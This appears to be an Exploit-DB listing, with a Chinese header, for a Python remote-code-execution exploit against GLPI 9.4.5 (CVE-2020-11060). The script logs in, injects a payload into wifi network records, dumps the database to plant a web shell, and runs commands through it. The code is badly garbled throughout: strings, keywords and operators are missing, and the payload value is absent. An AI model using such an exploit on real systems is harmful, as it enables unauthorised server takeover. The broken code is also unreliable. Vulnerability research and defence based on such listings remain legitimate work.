标题: GLPI GZIP(Py3) 9.4.5 - RCE EDB-ID: 51726 CVE: 2020-11060 类型: WEBAPPS 平台: PHP 发布日期: 2023-10-09 漏洞利用脚本: #!/usr/bin/env python3

#Exploit Title: GLPI GZIP(Py3) 9.4.5 - RCE 
#Date: 08-30-2021
#Exploit Authors: Brian Peters & n3rada
#Vendor Homepage: https://glpi-project.org/
#Software Link: https://github.com/glpi-project/glpi/releases
#Version: 0.8.5-9.4.5
#Tested on: Exploit ran on Kali 2021. GLPI Ran on Windows 2019
#CVE: 2020-11060

# Built-in imports
import argparse
import random
import re
import string
 datetime  datetime


 requests
 lxml  html


PAYLOAD  

requestspackagesurllib3disable_warnings


 
    

     self url  user  password  platform 
        
        self__url  url
        self__user  user
        self__password  password

        selfaccessible_directory  

           platformlower
            self__platform  
        
            self__platform  

        self__session  requestsSession
        self__sessionverify  

        self__shell_name  

        f

    
     self  
        
         f

     self  
        
         f

    
     self  
        
        
            self__sessiongeturlself__url timeout
         Exception  error
            f
            f
             
        
            f
             

     self  
        
        html_text  self__sessiongeturlself__url allow_redirectstext
        csrf_token  self__extract_csrfhtmlhtml_text
        name_field  researchr html_textgroup
        pass_field  researchr html_textgroup

        login_request  self__sessionpost
            urlf
            data
                name_field self__user
                pass_field self__password
                 
                 
                 csrf_token
            
            allow_redirects
        

         login_requeststatus_code  

     self datemod   
        
        creation_request  self__sessionpost
            f
            data
                 
                 
                 
                 PAYLOAD
                 
                 
                 
                 self__extract_csrf
                    self__sessiongetftext
                
                 datemod
            
        

         creation_requeststatus_code  
            

     self padding datemod
        
        
        all_networks_request  self__sessionget
            f
        

        webpage  htmlfromstringall_networks_requestcontent

         rawlink  
            link
             link  webpagexpath
               link
        
            network_id  rawlinksplit
            f

            self__sessionpost
                f
                data
                     
                     
                     
                     PAYLOAD
                       padding
                     
                     
                     network_id
                     self__extract_csrfall_networks_requesttext
                     datemod
                
            

     self padding  datemod   
        
        
         rawlink  
            link
             link  htmlfromstring
                self__sessiongetfcontent
            xpath
               link
        
            
            self__sessionpost
                f
                data
                     
                     
                     
                     PAYLOAD
                     f
                     
                     
                     rawlinksplit
                     self__extract_csrf
                        self__sessionget
                            f
                        text
                    
                     datemod
                
            

        f

     self wifi_table_offset   
        
        dump_target  f
        f
        self__sessionget
            f
        

        f

     self wifi_table_offset     
        
          selflogin
            
            

        f

        
        datemod  datetimenowstrftime

        tick  
         
                f    

            
            padding    tick

            selfwipe_networkspadding datemod
            selfcreate_networkdatemod
            selfedit_networkpadding datemod

            self__shell_name  
                joinrandomchoicestringascii_letters  _    
            

            f

            selfcreate_dumpwifi_table_offset
             self__shell_check
                

            tick  

          
        f

    
     self html 
        
         research
            patternr stringhtml
        group

     self  
        
        r  self__sessionget
            urlselfshell_path
            params 
        
        shell_size  rcontent
        f
         shell_size  
            
             

         b  rcontent

    
    @
     self
        
           self__platformlower
             f
        
             f

    @
     self  
        
         f


 
    url 
    command 
    timeout   
  
    
     url    command  
        

    command  f

    response  requestsget
        urlurl
        params
             command
        
        timeouttimeout
        verify
    

    
     match  research
        patternr stringresponsetext flagsreDOTALL
    
         matchgroupstrip


   
    parser  argparseArgumentParser
    parseradd_argument  required
    parseradd_argument  default
    parseradd_argument  default
    parseradd_argument  default
    parseradd_argument
          default
    
    parseradd_argument
        
        
        default
        required
      

    parseradd_argument  default

    options  parserparse_args

     optionscommand
        

        
            response  executeurloptionsurl commandoptionscommand timeout
         TimeoutError
            f
        
            f
            response
        
            

    target  GlpiBrowser
        optionsurl
        useroptionsuser
        passwordoptionspassword
        platformoptionsplatform
    

      targetis_alive
        

    targetaccessible_directory  options
    targetupload_rcewifi_table_offsetoptionsoffset

    
        f
    
    
    
        f
    


 __name__  
    main URL: https://www.exploit-db.com/exploits/51726